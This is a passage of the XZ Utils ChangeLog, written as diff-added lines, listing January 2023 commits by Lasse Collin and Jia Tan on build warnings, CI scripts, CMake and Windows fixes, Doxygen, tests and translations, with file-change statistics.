2e02877288f6576cd4595e9ac7684f867cd47d68 +Author: Lasse Collin +Date: 2023-01-27 19:41:19 +0200 + + po4a/po4a.conf: Sort the language identifiers in alphabetical order. + + po4a/po4a.conf | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit ff592c616eda274215b485cf1b8d34f060c9f3be +Author: Lasse Collin +Date: 2023-01-26 18:29:17 +0200 + + xz: Add SIGTSTP handler for progress indicator time keeping. + + This way, if xz is stopped the elapsed time and estimated time + remaining won't get confused by the amount of time spent in + the stopped state. + + This raises SIGSTOP. It's not clear to me if this is the correct way. + POSIX and glibc docs say that SIGTSTP shouldn't stop the process if + it is orphaned but this commit doesn't attempt to handle that. + + Search for SIGTSTP in section 2.4.3: + + https://pubs.opengroup.org/onlinepubs/9699919799/functions/V2_chap02.html + + src/xz/mytime.c | 56 +++++++++++++++++++++++++++++++++++++++++++++++++++++++- + src/xz/mytime.h | 6 ++++++ + src/xz/private.h | 12 ++++++++++++ + src/xz/signals.c | 17 ++++++++++++++++- + 4 files changed, 89 insertions(+), 2 deletions(-) + +commit 3b1c8ac8d1d553cbb1fb22b545d2b1424c752b76 +Author: Jia Tan +Date: 2023-01-27 20:14:51 +0800 + + Translations: Add Brazilian Portuguese translation of man pages. + + Thanks to Rafael Fontenelle. + + po4a/po4a.conf | 2 +- + po4a/pt_BR.po | 3677 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + 2 files changed, 3678 insertions(+), 1 deletion(-) + +commit a15a7552f9f67c4e402f5d2967324e0ccfd6fccc +Author: Lasse Collin +Date: 2023-01-26 17:51:06 +0200 + + Build: Avoid different quoting style in --enable-doxygen doc. + + configure.ac | 10 +++++----- + 1 file changed, 5 insertions(+), 5 deletions(-) + +commit af5a4bd5afc089d9697756dded38feafaa987ae4 +Author: Lasse Collin +Date: 2023-01-26 17:39:46 +0200 + + tuklib_physmem: Check for __has_warning before GCC version. + + Clang can be configured to fake a too high GCC version so + this way it's more robust. + + src/common/tuklib_physmem.c | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +commit f35d98e20609e0be6a04ae2604bfb7cb9d5bd5e4 +Author: Jia Tan +Date: 2023-01-24 20:48:50 +0800 + + liblzma: Fix documentation in filter.h for lzma_str_to_filters() + + The previous documentation for lzma_str_to_filters() was technically + correct, but misleading. lzma_str_to_filters() returns NULL on success, + which is in practice always defined to 0. This is the same value as + LZMA_OK, but lzma_str_to_filters() does not return lzma_ret so we should + be more clear. + + src/liblzma/api/lzma/filter.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 2f78ecc5939b3d97ddfc2a6bd31b50108a28d0a2 +Author: Lasse Collin +Date: 2023-01-23 23:44:58 +0200 + + Revert "tuklib_common: Define __has_warning if it is not defined." + + This reverts commit 82e3c968bfa10e3ff13333bd9cbbadb5988d6766. + + Macros in the reserved namespace (_foo or __foo) shouldn't be #defined + without a very good reason. Here the alternative would have been + to #define tuklib_has_warning(str) to an approriate value. + + Also the tuklib_* files should stay namespace clean if possible. + + src/common/tuklib_common.h | 7 ------- + 1 file changed, 7 deletions(-) + +commit 8366cf8738e8b7bb74c967d07bf0fd2a1878e575 +Author: Lasse Collin +Date: 2023-01-23 23:38:34 +0200 + + tuklib_physmem: Clean up the way -Wcast-function-type is silenced on Windows. + + __has_warning and other __has_foo macros are meant to become + compiler-agnostic so it's not good to check for __clang__ with it. + + This also relied on tuklib_common.h for #defining __has_warning + which was confusing as #defining reserved macros is generally + not a good idea. + + src/common/tuklib_physmem.c | 17 +++++++++++++---- + 1 file changed, 13 insertions(+), 4 deletions(-) + +commit 683a3c7e2fcd922200c31078e5c9dd1348e90941 +Author: Lasse Collin +Date: 2023-01-24 00:05:38 +0200 + + xz: Flip the return value of suffix_is_set to match the documentation. + + Also edit style to match the existing coding style in the project. + + src/xz/args.c | 6 +++--- + src/xz/suffix.c | 2 +- + src/xz/suffix.h | 1 + + 3 files changed, 5 insertions(+), 4 deletions(-) + +commit cc5aa9ab138beeecaee5a1e81197591893ee9ca0 +Author: Jia Tan +Date: 2023-01-07 21:55:06 +0800 + + xz: Refactor duplicated check for custom suffix when using --format=raw + + src/xz/args.c | 8 ++++++++ + src/xz/suffix.c | 26 ++++++++------------------ + src/xz/suffix.h | 7 +++++++ + 3 files changed, 23 insertions(+), 18 deletions(-) + +commit 9663141274e01592a281a7f2df5d7a31a1dac8bf +Author: Jia Tan +Date: 2023-01-20 21:53:14 +0800 + + liblzma: Set documentation on all reserved fields to private. + + This prevents the reserved fields from being part of the generated + Doxygen documentation. + + src/liblzma/api/lzma/base.h | 17 +++++++++++++++ + src/liblzma/api/lzma/block.h | 43 +++++++++++++++++++++++++++++++++++++ + src/liblzma/api/lzma/container.h | 24 +++++++++++++++++++++ + src/liblzma/api/lzma/delta.h | 12 +++++++++++ + src/liblzma/api/lzma/index.h | 27 +++++++++++++++++++++++ + src/liblzma/api/lzma/lzma12.h | 22 +++++++++++++++++++ + src/liblzma/api/lzma/stream_flags.h | 28 ++++++++++++++++++++++++ + 7 files changed, 173 insertions(+) + +commit 6327a045f34d48fc5afc58ba0d32a82c94403049 +Author: Jia Tan +Date: 2022-12-20 21:39:59 +0800 + + Doxygen: Update Doxyfile.in from 1.4.7 to 1.8.17. + + A few Doxygen tags were obsolete from 1.4.7. Version 1.8.17 released + in 2019, so this should be compatible with resonable modern distros. + The purpose of Doxygen these days is for docs on the website, so it + doesn't necessarily have to work for everyone. Just when the maintainers + want to update the docs. + + Doxyfile.in | 2523 ++++++++++++++++++++++++++++++++++++++++++++--------------- + 1 file changed, 1893 insertions(+), 630 deletions(-) + +commit bbf71b69ebf9d0d62a0af150a5c37d193b8159ad +Author: Jia Tan +Date: 2023-01-03 20:37:30 +0800 + + Doxygen: Make Doxygen only produce liblzma API documentation by default. + + Doxygen is now configurable in autotools only with + --enable-doxygen=[api|all]. The default is "api", which will only + generate HTML output for liblzma API functions. The LaTex documentation + output was also disabled. + + Doxyfile.in | 18 +++++++++--------- + configure.ac | 39 +++++++++++++++++++++++++++++++++++++++ + 2 files changed, 48 insertions(+), 9 deletions(-) + +commit 6fcf4671b6047113c583a0919fc850987a4ec5f4 +Author: Jia Tan +Date: 2022-12-21 23:59:43 +0800 + + liblzma: Highlight liblzma API headers should not be included directly. + + This improves the generated Doxygen HTML files to better highlight + how to properly use the liblzma API header files. + + src/liblzma/api/lzma/base.h | 5 +++-- + src/liblzma/api/lzma/bcj.h | 5 +++-- + src/liblzma/api/lzma/block.h | 5 +++-- + src/liblzma/api/lzma/check.h | 5 +++-- + src/liblzma/api/lzma/container.h | 5 +++-- + src/liblzma/api/lzma/delta.h | 5 +++-- + src/liblzma/api/lzma/filter.h | 5 +++-- + src/liblzma/api/lzma/hardware.h | 5 +++-- + src/liblzma/api/lzma/index.h | 5 +++-- + src/liblzma/api/lzma/index_hash.h | 5 +++-- + src/liblzma/api/lzma/lzma12.h | 5 +++-- + src/liblzma/api/lzma/stream_flags.h | 5 +++-- + src/liblzma/api/lzma/version.h | 5 +++-- + src/liblzma/api/lzma/vli.h | 5 +++-- + 14 files changed, 42 insertions(+), 28 deletions(-) + +commit b43ff180fb2e372adce876bfa155fc9bcf0c3db4 +Author: Jia Tan +Date: 2023-01-19 20:35:09 +0800 + + tuklib_physmem: Silence warning from -Wcast-function-type on MinGW-w64. + + tuklib_physmem depends on GetProcAddress() for both MSVC and MinGW-w64 + to retrieve a function address. The proper way to do this is to cast the + return value to the type of function pointer retrieved. Unfortunately, + this causes a cast-function-type warning, so the best solution is to + simply ignore the warning. + + src/common/tuklib_physmem.c | 9 +++++++++ + 1 file changed, 9 insertions(+) + +commit 82e3c968bfa10e3ff13333bd9cbbadb5988d6766 +Author: Jia Tan +Date: 2023-01-19 20:32:40 +0800 + + tuklib_common: Define __has_warning if it is not defined. + + clang supports the __has_warning macro to determine if the version of + clang compiling the code supports a given warning. If we do not define + it for other compilers, it may cause a preprocessor error. + + src/common/tuklib_common.h | 7 +++++++ + 1 file changed, 7 insertions(+) + +commit b2ba1a489df451cdcd93b2334e319dd06778de19 +Author: Jia Tan +Date: 2023-01-18 22:11:05 +0800 + + CI: Reorder 32-bit build first for Linux autotool builds. + + The 32-bit build needs to be first so the configure cache only needs to + be reset one time. The 32-bit build sets the CFLAGS env variable, so any + build using that flag after will fail unless the cache is reset. + + .github/workflows/ci.yml | 17 ++++++++++++----- + 1 file changed, 12 insertions(+), 5 deletions(-) + +commit dd1c1135741057c91e8d018be9ec4d43968b0e64 +Author: Jia Tan +Date: 2023-01-18 21:51:43 +0800 + + CI: Enable --config-cache in autotool builds. + + If CFLAGS are set in a build, the cache must be cleared with + "make distclean", or by deleting the cache file. + + build-aux/ci_build.sh | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit d3e11477053764c003eec2daa5198c747d70ff69 +Author: Jia Tan +Date: 2023-01-16 21:35:45 +0800 + + xz: Add missing comment for coder_set_compression_settings() + + src/xz/coder.h | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +commit 123255b6ed15f4428b2aa92e4962015a5362f6bf +Author: Jia Tan +Date: 2023-01-16 20:55:10 +0800 + + xz: Do not set compression settings with raw format in list mode. + + Calling coder_set_compression_settings() in list mode with verbose mode + on caused the filter chain and memory requirements to print. This was + unnecessary since the command results in an error and not consistent + with other formats like lzma and alone. + + src/xz/args.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +commit 571919c47b9ff5171ede84378620ed0a9aeb98c0 +Author: Jia Tan +Date: 2023-01-13 20:37:06 +0800 + + Translations: Update the Brazilian Portuguese translation. + + po/pt_BR.po | 603 ++++++++++++++++++++++++++++++++++-------------------------- + 1 file changed, 344 insertions(+), 259 deletions(-) + +commit 81cb02e2c22bbc036cdfaa2d2c4176f6bd60d3cf +Author: Jia Tan +Date: 2023-01-12 23:43:06 +0800 + + CI: Disable shared and nls from various jobs in autotool runners. + + Disabling shared library generation and linking should help speed up the + runners. The shared library is still being tested in the 32 bit build + and the full feature. + + Disabling nls is to check for any unexpected warnings or errors. + + .github/workflows/ci.yml | 56 ++++++++++++++++++++++++------------------------ + 1 file changed, 28 insertions(+), 28 deletions(-) + +commit 58a052198a7bcaf6e958f87fad72e69e19a2579b +Author: Jia Tan +Date: 2023-01-12 23:39:19 +0800 + + CI: Reorder the 32-bit job in the Ubuntu runner. + + Run the 32 bit job sooner since this is a more interesting test than + some of the later jobs. + + .github/workflows/ci.yml | 10 +++++----- + 1 file changed, 5 insertions(+), 5 deletions(-) + +commit 4110a998b83459fe2bc9bc1bec30ad68afa8f797 +Author: Jia Tan +Date: 2023-01-12 23:09:03 +0800 + + CI: Allow disabling Native Language Support. + + build-aux/ci_build.sh | 9 ++++++++- + 1 file changed, 8 insertions(+), 1 deletion(-) + +commit 0dec634e705b5bf89a37c5d62d71e8511d480058 +Author: Jia Tan +Date: 2023-01-12 23:02:20 +0800 + + CI: Only run autogen.sh if it has not already run. + + build-aux/ci_build.sh | 11 ++++++++--- + 1 file changed, 8 insertions(+), 3 deletions(-) + +commit 32287dc8def94df4546e903495d14c132bd54cc4 +Author: Jia Tan +Date: 2023-01-12 22:58:36 +0800 + + CI: Allow disabling shared library in autotools builds. + + build-aux/ci_build.sh | 9 ++++++++- + 1 file changed, 8 insertions(+), 1 deletion(-) + +commit 77d1ebcc99ddd82a300d1838f608150221931dcd +Author: Jia Tan +Date: 2023-01-12 22:44:18 +0800 + + CI: Improve Usage readability and add -h option. + + build-aux/ci_build.sh | 15 +++++++++++++-- + 1 file changed, 13 insertions(+), 2 deletions(-) + +commit a8bb8358d10b059274f3cf993d9b8f490bafb268 +Author: Lasse Collin +Date: 2023-01-12 13:04:05 +0200 + + Build: Omit -Wmissing-noreturn from the default warnings. + + It's not that important. It can be annoying in builds that + disable many features since in those cases the tests programs + will correctly trigger this warning with Clang. + + configure.ac | 1 - + 1 file changed, 1 deletion(-) + +commit 52dc033d0bde0d19e3912303c6c74bae559d6498 +Author: Lasse Collin +Date: 2023-01-12 06:05:58 +0200 + + xz: Use ssize_t for the to-be-ignored return value from write(fd, ptr, 1). + + It makes no difference here as the return value fits into an int + too and it then gets ignored but this looks better. + + src/xz/file_io.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit b1a6d180a363d57b2b1c89526ff3f0782bf863d3 +Author: Lasse Collin +Date: 2023-01-12 06:01:12 +0200 + + xz: Silence warnings from -Wsign-conversion in a 32-bit build. + + src/common/tuklib_mbstr_fw.c | 2 +- + src/xz/list.c | 4 ++-- + 2 files changed, 3 insertions(+), 3 deletions(-) + +commit 31c21c734b7c7d7428a3da7402a2cb7bc2587339 +Author: Lasse Collin +Date: 2023-01-12 05:38:48 +0200 + + liblzma: Silence another warning from -Wsign-conversion in a 32-bit build. + + It doesn't warn on a 64-bit system because truncating + a ptrdiff_t (signed long) to uint32_t is diagnosed under + -Wconversion by GCC and -Wshorten-64-to-32 by Clang. + + src/liblzma/lz/lz_encoder_mf.c | 7 ++++--- + 1 file changed, 4 insertions(+), 3 deletions(-) + +commit 37fbdfb7263522c11c7ad2685413d6295532581d +Author: Lasse Collin +Date: 2023-01-12 04:46:45 +0200 + + liblzma: Silence a warning from -Wsign-conversion in a 32-bit build. + + src/common/mythread.h | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit 5ce6ddc221d0bfb57d810d845bb65fb0aac0b008 +Author: Lasse Collin +Date: 2023-01-12 04:17:24 +0200 + + Build: Make configure add more warning flags for GCC and Clang. + + -Wstrict-aliasing was removed from the list since it is enabled + by -Wall already. + + A normal build is clean with these on GNU/Linux x86-64 with + GCC 12.2.0 and Clang 14.0.6. + + configure.ac | 36 +++++++++++++++++++++++++++++++----- + 1 file changed, 31 insertions(+), 5 deletions(-) + +commit bfc3a0a8ac16de90049c1b1ba1445a7626d0230c +Author: Lasse Collin +Date: 2023-01-12 04:14:18 +0200 + + Tests: Fix warnings from clang --Wassign-enum. + + Explicitly casting the integer to lzma_check silences the warning. + Since such an invalid value is needed in multiple tests, a constant + INVALID_LZMA_CHECK_ID was added to tests.h. + + The use of 0x1000 for lzma_block.check wasn't optimal as if + the underlying type is a char then 0x1000 will be truncated to 0. + However, in these test cases the value is ignored, thus even with + such truncation the test would have passed. + + tests/test_block_header.c | 6 +++--- + tests/test_check.c | 2 +- + tests/test_stream_flags.c | 8 ++++---- + tests/tests.h | 9 +++++++++ + 4 files changed, 17 insertions(+), 8 deletions(-) + +commit 49245bb31e215ad455a1ab85e4ed6783152dc522 +Author: Lasse Collin +Date: 2023-01-12 03:51:07 +0200 + + Tests: Silence warnings from -Wsign-conversion. + + Note that assigning an unsigned int to lzma_check doesn't warn + on GNU/Linux x86-64 since the enum type is unsigned on that + platform. The enum can be signed on some other platform though + so it's best to use enumeration type lzma_check in these situations. + + tests/test_check.c | 6 +++--- + tests/test_stream_flags.c | 10 +++++----- + 2 files changed, 8 insertions(+), 8 deletions(-) + +commit 3f13bf6b9e8624cbe6d6e3e82d6c98a3ed1ad571 +Author: Lasse Collin +Date: 2023-01-12 03:19:59 +0200 + + liblzma: Silence warnings from clang -Wconditional-uninitialized. + + This is similar to 2ce4f36f179a81d0c6e182a409f363df759d1ad0. + The actual initialization of the variables is done inside + mythread_sync() macro. Clang doesn't seem to see that + the initialization code inside the macro is always executed. + + src/liblzma/common/stream_decoder_mt.c | 8 +++++--- + src/liblzma/common/stream_encoder_mt.c | 2 +- + 2 files changed, 6 insertions(+), 4 deletions(-) + +commit 6c886cc5b3c90c6a75e6be8b1278ec2261e452a6 +Author: Lasse Collin +Date: 2023-01-12 03:11:40 +0200 + + Fix warnings from clang -Wdocumentation. + + src/liblzma/check/check.h | 4 ---- + src/liblzma/lz/lz_encoder_mf.c | 4 ++-- + src/xz/options.c | 4 ++-- + 3 files changed, 4 insertions(+), 8 deletions(-) + +commit a0e7fb1c1ea658b67f30517f5d1975efd0226dba +Author: Lasse Collin +Date: 2023-01-12 03:04:28 +0200 + + Tests: test_lzip_decoder: Remove trailing white-space. + + tests/test_lzip_decoder.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit c0f8d6782f29e219fd496dd23f6a033270509d5c +Author: Lasse Collin +Date: 2023-01-12 03:03:55 +0200 + + Tests: test_lzip_decoder: Silence warnings from -Wsign-conversion. + + tests/test_lzip_decoder.c | 13 +++++++------ + 1 file changed, 7 insertions(+), 6 deletions(-) + +commit 62efd48a825e8f439e84c85e165d8774ddc68fd2 +Author: Jia Tan +Date: 2023-01-11 23:58:16 +0800 + + Add NEWS for 5.4.1. + + NEWS | 70 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + 1 file changed, 70 insertions(+) + +commit d1561c47ec8cd3844a785d3741dc932f9b9c5790 +Author: Jia Tan +Date: 2023-01-11 22:46:48 +0800 + + xz: Fix warning -Wformat-nonliteral on clang in message.c. + + clang and gcc differ in how they handle -Wformat-nonliteral. gcc will + allow a non-literal format string as long as the function takes its + format arguments as a va_list. + + src/xz/message.c | 9 +++++++++ + 1 file changed, 9 insertions(+) + +commit 8c0f115cc489331c48df77beca92fe378039d919 +Author: Jia Tan +Date: 2023-01-11 20:58:31 +0800 + + Tests: Fix test_filter_flags copy/paste error. + + tests/test_filter_flags.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit 25035813d1d596fde692addc33e7f715f1fe55eb +Author: Jia Tan +Date: 2023-01-11 20:42:29 +0800 + + Tests: Fix type-limits warning in test_filter_flags. + + This only occurs in test_filter_flags when the BCJ filters are not + configured and built. In this case, ARRAY_SIZE() returns 0 and causes a + type-limits warning with the loop variable since an unsigned number will + always be >= 0. + + tests/test_filter_flags.c | 13 ++++++++++--- + 1 file changed, 10 insertions(+), 3 deletions(-) + +commit 0b8fa310cf56fec55663f62340e49e8e1441594f +Author: Lasse Collin +Date: 2023-01-10 22:14:03 +0200 + + liblzma: CLMUL CRC64: Work around a bug in MSVC, second attempt. + + This affects only 32-bit x86 builds. x86-64 is OK as is. + + I still cannot easily test this myself. The reporter has tested + this and it passes the tests included in the CMake build and + performance is good: raw CRC64 is 2-3 times faster than the + C version of the slice-by-four method. (Note that liblzma doesn't + include a MSVC-compatible version of the 32-bit x86 assembly code + for the slice-by-four method.) + + Thanks to Iouri Kharon for figuring out a fix, testing, and + benchmarking. + + src/liblzma/check/crc64_fast.c | 18 ++++++++++++++++++ + 1 file changed, 18 insertions(+) + +commit 765354b50c2886fc0d294d6be3b207f7ae2ada70 +Author: Jia Tan +Date: 2023-01-11 01:18:50 +0800 + + Tests: Fix unused function warning in test_block_header. + + One of the global arrays of filters was only used in a test that + required both encoders and decoders to be configured in the build. + + tests/test_block_header.c | 4 ++++ + 1 file changed, 4 insertions(+) + +commit 7c23c05befdcc73231c0d6632a7d943dbeaea1aa +Author: Jia Tan +Date: 2023-01-11 01:08:03 +0800 + + Tests: Fix unused function warning in test_index_hash. + + test_index_hash does not use fill_index_hash() unless both encoders + and decoders are configured in the build. + + tests/test_index_hash.c | 4 +--- + 1 file changed, 1 insertion(+), 3 deletions(-) + +commit 57464bb4ebd6c00dc8b19803f05ea55ddd0826f6 +Author: Jia Tan +Date: 2023-01-11 00:54:45 +0800 + + CI/CD: Add 32-bit build and test steps to Ubuntu autotools runner. + + If all goes well, Mac autotools and Linux and Mac CMake will be added + later for 32-bit builds. + + .github/workflows/ci.yml | 7 ++++++- + 1 file changed, 6 insertions(+), 1 deletion(-) + +commit 923eb689a4b863b6cca8df6360d4962aae994edf +Author: Jia Tan +Date: 2023-01-11 00:51:01 +0800 + + CI/CD: Enables warnings as errors in autotool build. + + This will help us catch warnings and potential bugs in builds that are + not often tested by us. + + build-aux/ci_build.sh | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit feae5528a30c006b6e2f96a95116e20b983703fc +Author: Jia Tan +Date: 2023-01-11 00:48:35 +0800 + + CI/CD: Add -f argument to set CFLAGS in ci_build.sh. + + For now, the suggested option is for -m32 only, but this can be updated + later if other flags are deemed useful. + + build-aux/ci_build.sh | 8 ++++++-- + 1 file changed, 6 insertions(+), 2 deletions(-) + +commit cfabb62a4874c146e7d6f30445637602545bc054 +Author: Lasse Collin +Date: 2023-01-10 12:47:16 +0200 + + Revert "liblzma: CLMUL CRC64: Workaround a bug in MSVC (VS2015-2022)." + + This reverts commit 36edc65ab4cf10a131f239acbd423b4510ba52d5. + + It was reported that it wasn't a good enough fix and MSVC + still produced (different kind of) bad code when building + for 32-bit x86 if optimizations are enabled. + + Thanks to Iouri Kharon. + + src/liblzma/check/crc64_fast.c | 6 ------ + 1 file changed, 6 deletions(-) + +commit 0b64215170dd3562f207ef26f794755bcd600526 +Author: Lasse Collin +Date: 2023-01-10 11:56:11 +0200 + + sysdefs.h: Don't include strings.h anymore. + + On some platforms src/xz/suffix.c may need for + strcasecmp() but suffix.c includes the header when it needs it. + + Unless there is an old system that otherwise supports enough C99 + to build XZ Utils but doesn't have C89/C90-compatible , + there should be no need to include in sysdefs.h. + + src/common/sysdefs.h | 6 ------ + 1 file changed, 6 deletions(-) + +commit ec2fc39fe4f4e6e242b3a669585049763968cdeb +Author: Lasse Collin +Date: 2023-01-10 11:23:41 +0200 + + xz: Include in suffix.c if needed for strcasecmp(). + + SUSv2 and POSIX.1‐2017 declare only a few functions in . + Of these, strcasecmp() is used on some platforms in suffix.c. + Nothing else in the project needs (at least if + building on a modern system). + + sysdefs.h currently includes if HAVE_STRINGS_H is + defined and suffix.c relied on this. + + Note that dos/config.h doesn't #define HAVE_STRINGS_H even though + DJGPP does have strings.h. It isn't needed with DJGPP as strcasecmp() + is also in in DJGPP. + + src/xz/suffix.c | 3 +++ + 1 file changed, 3 insertions(+) + +commit 7049c4a76c805ad27d6cf4ee119a2ef2a7add59f +Author: Lasse Collin +Date: 2023-01-10 10:05:13 +0200 + + sysdefs.h: Fix a comment. + + src/common/sysdefs.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 194a5fab69277d9e804a6113b5f676b8666b3a61 +Author: Lasse Collin +Date: 2023-01-10 10:04:06 +0200 + + sysdefs.h: Don't include memory.h anymore even if it were available. + + It quite probably was never needed, that is, any system where memory.h + was required likely couldn't compile XZ Utils for other reasons anyway. + + XZ Utils 5.2.6 and later source packages were generated using + Autoconf 2.71 which no longer defines HAVE_MEMORY_H. So the code + being removed is no longer used anyway. + + src/common/sysdefs.h | 8 ++------ + 1 file changed, 2 insertions(+), 6 deletions(-) + +commit 5e34774c31d1b7509b5cb77a3be9973adec59ea0 +Author: Lasse Collin +Date: 2023-01-10 08:29:32 +0200 + + CMake: Fix appending to CMAKE_RC_FLAGS. + + It's a string, not a list. It only worked when the variable was empty. + + Thanks to Iouri Kharon. + + CMakeLists.txt | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 6e652ceb18c615c578c869db300fa0756788b4e0 +Author: Lasse Collin +Date: 2023-01-10 00:33:14 +0200 + + Windows: Update INSTALL-MSVC.txt to recommend CMake over project files. + + windows/INSTALL-MSVC.txt | 19 ++++++++++++------- + 1 file changed, 12 insertions(+), 7 deletions(-) + +commit 6b117d3b1fe91eb26d533ab16a2e552f84148d47 +Author: Lasse Collin +Date: 2023-01-09 23:41:25 +0200 + + CMake: Fix windres issues again. + + At least on some systems, GNU windres needs --use-temp-file + in addition to the \x20 hack to avoid spaces in the command line + argument. Hovever, that \x20 syntax is broken with llvm-windres + version 15.0.0 (results in "XZx20Utils") but luckily it works + with a regular space. Thus it is best to limit the workarounds + to GNU toolchain on Windows. + + CMakeLists.txt | 35 +++++++++++++++++++++++------------ + 1 file changed, 23 insertions(+), 12 deletions(-) + +commit 0c210ca7f489e971e94e1ddc72b0b0806e3c7935 +Author: Lasse Collin +Date: 2023-01-06 22:53:38 +0200 + + Tests: test_filter_flags: Clean up minor issues. + + Here are the list of the most significant issues addressed: + - Avoid using internal common.h header. It's not good to copy the + constants like this but common.h cannot be included for use outside + of liblzma. This is the quickest thing to do that could be fixed later. + + - Omit the INIT_FILTER macro. Initialization should be done with just + regular designated initializers. + + - Use start_offset = 257 for BCJ tests. It demonstrates that Filter + Flags encoder and decoder don't validate the options thoroughly. + 257 is valid only for the x86 filter. This is a bit silly but + not a significant problem in practice because the encoder and + decoder initialization functions will catch bad alignment still. + Perhaps this should be fixed but it's not urgent and doesn't need + to be in 5.4.x. + + - Various tweaks to comments such as filter id -> Filter ID + + tests/test_filter_flags.c | 153 +++++++++++++++++++++++----------------------- + 1 file changed, 78 insertions(+), 75 deletions(-) + +commit 5c9fdd3bf53a9655f5eb2807d662b3af0d5e1865 +Author: Jia Tan +Date: 2022-12-29 23:33:33 +0800 + + Tests: Refactors existing filter flags tests. + + Converts the existing filter flags tests into tuktests. + + tests/test_filter_flags.c | 655 ++++++++++++++++++++++++++++++++-------------- + 1 file changed, 457 insertions(+), 198 deletions(-) + +commit 36edc65ab4cf10a131f239acbd423b4510ba52d5 +Author: Lasse Collin +Date: 2023-01-09 12:22:05 +0200 + + liblzma: CLMUL CRC64: Workaround a bug in MSVC (VS2015-2022). + + I haven't tested with MSVC myself and there doesn't seem to be + information about the problem online, so I'm relying on the bug report. + + Thanks to Iouri Kharon for the bug report and the patch. + + src/liblzma/check/crc64_fast.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +commit 790a12a95a78ff82d8c6d4efe3b789851ca9470d +Author: Lasse Collin +Date: 2023-01-09 11:27:24 +0200 + + CMake: Fix a copypaste error in xzdec Windows resource file handling. + + It was my mistake. Thanks to Iouri Kharon for the bug report. + + CMakeLists.txt | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit 0e1545fea39c0514c7b7032a0a3592a9a33d2848 +Author: Lasse Collin +Date: 2023-01-08 00:32:29 +0200 + + Tests: tuktest.h: Support tuktest_malloc(0). + + It's not needed in XZ Utils at least for now. It's good to support + it still because if such use is needed later, it wouldn't be + caught on GNU/Linux since malloc(0) from glibc returns non-NULL. + + tests/tuktest.h | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit 69d5d78c6904668eb09a131da86276beec3281f8 +Author: Lasse Collin +Date: 2023-01-08 00:24:23 +0200 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit dd38655f80c113c9db73b9ed370dc900e1c4dc41 +Author: Lasse Collin +Date: 2023-01-07 21:57:11 +0200 + + CMake: Update cmake_minimum_required from 3.13...3.16 to 3.13...3.25. + + The changes listed on cmake-policies(7) for versions 3.17 to 3.25 + shouldn't affect this project. + + CMakeLists.txt | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit a890a637bee9193d5b690aefa9a59eba5b8532ae +Author: Lasse Collin +Date: 2023-01-07 19:50:35 +0200 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit 6e38e595dd56ac1800478cef1f6f754d0eba0d2e +Author: Lasse Collin +Date: 2023-01-07 19:50:03 +0200 + + CMake/Windows: Add resource files to xz.exe and xzdec.exe. + + The command line tools cannot be built with MSVC for now but + they can be built with MinGW-w64. + + Thanks to Iouri Kharon for the bug report and the original patch. + + CMakeLists.txt | 16 ++++++++++++++++ + 1 file changed, 16 insertions(+) + +commit 443dfebced041adc88f10d824188eeef5b5821a9 +Author: Lasse Collin +Date: 2023-01-07 19:48:52 +0200 + + CMake/Windows: Add a workaround for windres from GNU binutils. + + Thanks to Iouri Kharon for the bug report and the original patch. + + CMakeLists.txt | 21 ++++++++++++++++++++- + 1 file changed, 20 insertions(+), 1 deletion(-) + +commit ceb805011747d04a915f3f39e4bed9eed151c634 +Author: Lasse Collin +Date: 2023-01-07 19:31:15 +0200 + + Build: Require that _mm_set_epi64x() is usable to enable CLMUL support. + + VS2013 doesn't have _mm_set_epi64x() so this way CLMUL gets + disabled with VS2013. + + Thanks to Iouri Kharon for the bug report. + + CMakeLists.txt | 3 ++- + configure.ac | 8 ++++++-- + 2 files changed, 8 insertions(+), 3 deletions(-) + +commit 8d372bd94066b1a5b0570b2550f83c2868486adf +Author: Jia Tan +Date: 2023-01-07 21:05:15 +0800 + + CI/CD: Split CMake Linux and MacOS build phase to build and test. + + The phase split was only done for Autotools before, so should also + apply to CMake. + + .github/workflows/ci.yml | 8 ++++++-- + 1 file changed, 6 insertions(+), 2 deletions(-) + +commit 747c7f2b34bd498f6702c6875500a26b06201772 +Author: Jia Tan +Date: 2023-01-07 11:16:55 +0800 + + CI/CD: Reduce job runners to 4 instead of using matrix strategy. + + The old version used too many runners that resulted in unnecessary + dependency downloads. Now, the runners are reused for the different + configurations for each OS and build system. + + .github/workflows/ci.yml | 95 ++++++++++++++++++++++++++++++++++++++++++------ + 1 file changed, 83 insertions(+), 12 deletions(-) + +commit 4de35fd6b58d46fc887c78faf163f6a37b790c45 +Author: Jia Tan +Date: 2023-01-07 10:07:20 +0800 + + CI/CD: Add new -p (PHASE) argument to ci_build.sh + + The new PHASE argument can be build, test, or all. all is the default. + This way, the CI/CD script can differentiate between the build and test + phases to make it easier to track down errors when they happen. + + build-aux/ci_build.sh | 140 +++++++++++++++++++++++++++----------------------- + 1 file changed, 76 insertions(+), 64 deletions(-) + +commit 6fd39664de47801e670a16617863196bfbde4755 +Merge: 78e0561d fc0c7884 +Author: Jia Tan +Date: 2023-01-07 00:10:50 +0800 + + Merge pull request #7 from tukaani-project/tuktest_index_hash + + Tuktest index hash + +commit fc0c788469159f634f09ff23c8cef6925c91da57 +Author: Lasse Collin +Date: 2023-01-06 17:58:48 +0200 + + Tests: test_index_hash: Add an assert_uint_eq(). + + tests/test_index_hash.c | 3 +++ + 1 file changed, 3 insertions(+) + +commit 